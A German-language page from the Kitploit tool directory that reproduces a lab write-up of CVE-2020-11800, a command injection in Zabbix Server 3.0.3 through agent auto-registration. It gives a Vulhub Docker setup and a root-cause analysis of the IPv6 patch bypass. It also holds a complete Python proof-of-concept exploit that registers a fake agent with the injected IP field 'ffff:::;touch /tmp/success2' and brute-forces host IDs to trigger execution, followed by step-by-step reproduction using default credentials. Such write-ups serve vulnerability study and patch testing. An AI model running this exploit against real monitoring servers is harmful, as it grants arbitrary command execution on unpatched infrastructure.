Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-11800 — PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs. | Kitploit
Tools/GitHubGitHub/ycseo-git/cve-2020-11800
SchwachstellenanalyseExploitationWebsicherheitPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Die gemäß den Aufgabenrichtlinien erforderlichen Abschnitte sind mit „(Erforderlich)“ gekennzeichnet.

1. Umgebung (Erforderlich)

Dockerfile (Erforderlich)

Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile, das auf dem von Vulhub bereitgestellten verwundbaren Zabbix-Server-Image basiert.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

Das Dockerfile erstellt ein lokales Image mit der verwundbaren Zabbix-3.0.3-Serverumgebung. Während des Build-Prozesses wurden keine zusätzlichen Pakete oder Konfigurationen hinzugefügt.


docker-compose.yml (Erforderlich)

Die verwundbare Umgebung wird mit Docker Compose konfiguriert.

Die Umgebung besteht aus vier Diensten:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Der server-Dienst wird lokal mit dem Dockerfile erstellt:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

Der MySQL-Container importiert automatisch SQL-Initialisierungsdateien aus dem Verzeichnis src/ per Volume-Mount:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Dadurch werden das Datenbankschema und die initialen Zabbix-Daten beim Start des Containers automatisch geladen.


Dienstarchitektur (Erforderlich)

Die Umgebung arbeitet mit der folgenden Struktur:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Stellt die webbasierte Verwaltungsoberfläche bereit, die über den Browser erreichbar ist.

Über diese Oberfläche konfiguriert der Administrator die Auto-Registrierung und führt überwachungsbezogene Operationen aus.

Zabbix Server

Die Kernkomponente, verantwortlich für:

  • Agentenverwaltung
  • Skriptausführung
  • Überwachungslogik
  • Ereignisverarbeitung

Die Command-Injection-Schwachstelle wird in diesem Container ausgelöst.

Zabbix Agent

Fungiert als überwachter Host und kommuniziert mit dem Zabbix-Server.

Der Exploit missbraucht den Auto-Registrierungsmechanismus während des Agenten-Registrierungsprozesses.

MySQL

Speichert Zabbix-Konfigurationsdaten, Host-Informationen und überwachungsbezogene Daten.


Images und Versionen (Erforderlich)

ServiceImageVersion
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

Die Umgebung basiert auf der von Vulhub bereitgestellten verwundbaren Zabbix-3.0.3-Umgebung.

2. Grundursache (Erforderlich)

Schwachstellenbeschreibung (Erforderlich)

CVE-2020-11800 ist eine Command-Injection-Schwachstelle in der Active-Proxy-Trapper-Funktionalität des Zabbix-Servers.

Die Schwachstelle existiert, weil der Patch für CVE-2017-2824 unvollständig war. Ein Angreifer kann den ursprünglichen Patch mithilfe eines IPv6-artigen Payloads umgehen und beliebige Befehle auf dem Zabbix-Server ausführen.

Die Schwachstelle wird während des Auto-Registrierungsprozesses ausgelöst, wenn der Server vom Benutzer kontrollierte Host-Informationen verarbeitet.


Analyse der Grundursache (Erforderlich)

Die Grundursache der Schwachstelle ist die unsichere Verarbeitung von benutzerkontrollierten Eingaben innerhalb von Shell-Befehlen.

Während der Skriptausführung verwendet der Zabbix-Server den registrierten Host-IP-Wert, um Befehle wie die folgenden zu konstruieren:

root@kitploit:~
ping <host_ip>

Unter normalen Bedingungen:

root@kitploit:~
ping 127.0.0.1

Wenn ein Angreifer jedoch einen Host mit dem folgenden Payload registriert:

root@kitploit:~
ffff:::;touch /tmp/success2

wird der endgültige, von der Shell ausgeführte Befehl zu:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Da das Semikolon (;) als Shell-Befehlstrenner fungiert, interpretiert die Shell die Eingabe als zwei getrennte Befehle:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Dadurch wird die Ausführung beliebiger Befehle möglich.

Patch-Bypass mithilfe von IPv6

Der ursprüngliche Patch für CVE-2017-2824 versuchte, bösartige Eingabewerte einzuschränken.

Die Validierungslogik behandelte jedoch IPv6-artige Eingaben nicht ordnungsgemäß.

Der Payload:

root@kitploit:~
ffff:::;touch /tmp/success2

verwendet ein IPv6-artiges Präfix (ffff:::), um die vorhandene Validierungslogik zu umgehen, während weiterhin Shell-Metazeichen injiziert werden.

Dadurch können Angreifer den vorherigen Patch umgehen und die Command-Injection-Schwachstelle weiter ausnutzen.


Auslöseprozess der Schwachstelle (Erforderlich)

Der Exploit-Prozess läuft in der folgenden Reihenfolge ab:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

Der Angreifer sendet zunächst eine bösartige Auto-Registrierungsanfrage mit einem manipulierten IP-Feld.

Nachdem der Host registriert wurde, führt der Zabbix-Server ein Überwachungsskript unter Verwendung des gespeicherten Host-IP-Werts aus.

Während dieses Prozesses wird der bösartige Payload von der Shell interpretiert, was zur Ausführung beliebiger Befehle führt.


Angriffsablauf und Auswirkungen (Erforderlich)

Der Exploit ermöglicht es Angreifern, beliebige Befehle mit den Rechten des Zabbix-Server-Prozesses auszuführen.

In dieser Umgebung erzeugte eine erfolgreiche Ausnutzung die folgende Datei im Server-Container:

root@kitploit:~
/tmp/success2

Dies bestätigt, dass injizierte Shell-Befehle erfolgreich ausgeführt wurden.

In einer realen Umgebung könnte eine erfolgreiche Ausnutzung es Angreifern ermöglichen:

  • beliebige Systembefehle auszuführen
  • Malware herunterzuladen und auszuführen
  • interne Aufklärung durchzuführen
  • zu anderen Systemen zu pivotieren
  • die Überwachungsinfrastruktur zu kompromittieren

Die Schwachstelle ist besonders gefährlich, da Überwachungsserver häufig Einblick in mehrere interne Systeme und Infrastrukturkomponenten haben.

3. PoC (Erforderlich)

PoC-Übersicht (Erforderlich)

Der Proof of Concept (PoC) wurde in Python geschrieben und kommuniziert direkt über den TCP-Port 10051 mit dem Zabbix-Server.

Der PoC führt die folgenden Aktionen aus:

  1. Sendet eine bösartige Auto-Registrierungsanfrage
  2. Führt einen Brute-Force-Angriff auf gültige hostid-Werte durch
  3. Löst die Skriptausführung mithilfe des injizierten Payloads aus

PoC-Code

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Payload-Analyse (Erforderlich)

Der in diesem PoC verwendete Payload ist:

root@kitploit:~
ffff:::;touch /tmp/success2

Payload-Struktur

TeilZweck
ffff:::IPv6-artiges Präfix zum Umgehen der Validierung
;Shell-Befehlstrenner
touch /tmp/success2Beliebiger, auf dem Server ausgeführter Befehl

Der Payload nutzt die Tatsache aus, dass der Server benutzerkontrollierte IP-Werte unsachgemäß in Shell-Befehle einfügt.

Zweck

  • Registriert einen gefälschten Zabbix-Agenten
  • Speichert einen bösartigen IP-Wert auf dem Server
  • Bereitet das Ziel für die Command Injection vor

Der Payload wird während des Auto-Registrierungsprozesses über das Feld ip übermittelt.


Ausführungsprozess des PoC-Codes (Erforderlich)

Auto-Registrierungsanfrage

Die erste vom PoC gesendete Anfrage versucht, einen bösartigen Host zu registrieren.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Host-ID-Brute-Force

Nach der Registrierung versucht der PoC, eine gültige hostid zu finden.

root@kitploit:~
for i in range(10000, 10500):

Der PoC durchläuft einen Bereich möglicher Host-IDs und versucht, die Skriptausführung auszulösen.

Dieser Schritt ist notwendig, da der Server nach der Registrierung Host-IDs dynamisch vergibt.

Skriptausführungsanfrage

Die folgende Anfrage löst die Befehlsausführung aus:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Parameter

ParameterBeschreibung
requestFordert die Skriptausführung an
scriptidID des konfigurierten Zabbix-Skripts
hostidZiel-Host-ID

In dieser Umgebung entspricht scriptid:1 einem Ping-bezogenen Skript, das während der Befehlsausführung den Host-IP-Wert verwendet.

Auslösung der Schwachstelle

Der Zabbix-Server konstruiert intern einen Shell-Befehl ähnlich dem folgenden:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Die Shell interpretiert dies als:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Als Ergebnis:

  • schlägt der Ping-Befehl aufgrund einer ungültigen IPv6-Adresse fehl
  • wird der injizierte touch-Befehl erfolgreich ausgeführt

Erwartete Ausgabe

Bei erfolgreicher Ausnutzung kann die folgende Ausgabe erscheinen:

root@kitploit:~
ping: bad address 'ffff:::'

Dies zeigt, dass der Payload die Stufe der Shell-Befehlsausführung erreicht hat.

Eine erfolgreiche Ausnutzung wird bestätigt, wenn die folgende Datei im Server-Container vorhanden ist:

root@kitploit:~
/tmp/success2

4. Reproduktion (Erforderlich)

PoC- und Exploit-Ausführungsprozess (Erforderlich)

Der vollständige Exploit-Ablauf ist unten zusammengefasst:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Tatsächliche Exploit-Ausführungsschritte (Erforderlich)

Einrichtung der Umgebung

Starten Sie die verwundbare Umgebung mit Docker Compose.

root@kitploit:~
docker compose up -d

Prüfen Sie, ob alle Container korrekt laufen.

root@kitploit:~
docker compose ps

Die Umgebung sollte die folgenden Container enthalten:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Zugriff auf die Weboberfläche

Öffnen Sie den Browser und rufen Sie die Zabbix-Weboberfläche auf.

root@kitploit:~
http://127.0.0.1:8080

Standard-Anmeldedaten:

root@kitploit:~
Username: admin
Password: zabbix

Aktivieren der Auto-Registrierung

Der Exploit erfordert, dass die Auto-Registrierungsfunktion aktiviert ist.

Navigieren Sie zu:

root@kitploit:~
Configuration → Actions

Ändern Sie die Ereignisquelle auf:

root@kitploit:~
Auto registration

Erstellen Sie eine neue Aktion und konfigurieren Sie die folgende Operation:

root@kitploit:~
Operation Type: Add Host

Dadurch können neu registrierte Agenten automatisch zum Server hinzugefügt werden.

Ausführen des Exploits

Führen Sie das PoC-Skript aus.

root@kitploit:~
python3 exploit.py 127.0.0.1

Der PoC sendet eine bösartige Auto-Registrierungsanfrage und versucht, mithilfe mehrerer Host-IDs die Befehlsausführung auszulösen.


Ergebnisanalyse (Erforderlich)

Beispielausgabe

Bei erfolgreicher Ausnutzung kann eine Ausgabe ähnlich der folgenden erscheinen:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Dies zeigt, dass der Payload den verwundbaren Pfad der Shell-Befehlsausführung erreicht hat.

Überprüfen der Befehlsausführung

Greifen Sie auf den Zabbix-Server-Container zu.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Prüfen Sie, ob der injizierte Befehl die Zieldatei erstellt hat.

root@kitploit:~
ls -l /tmp/success2

Eine erfolgreiche Ausnutzung erzeugt eine Ausgabe ähnlich der folgenden:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Dies bestätigt, dass beliebige Befehle erfolgreich innerhalb des Zabbix-Server-Containers ausgeführt wurden.


Screenshots (Erforderlich)

Die folgenden Screenshots wurden im Verzeichnis screenshots/ abgelegt:

Auto Registration

PoC Execution Result

Tool herunterladen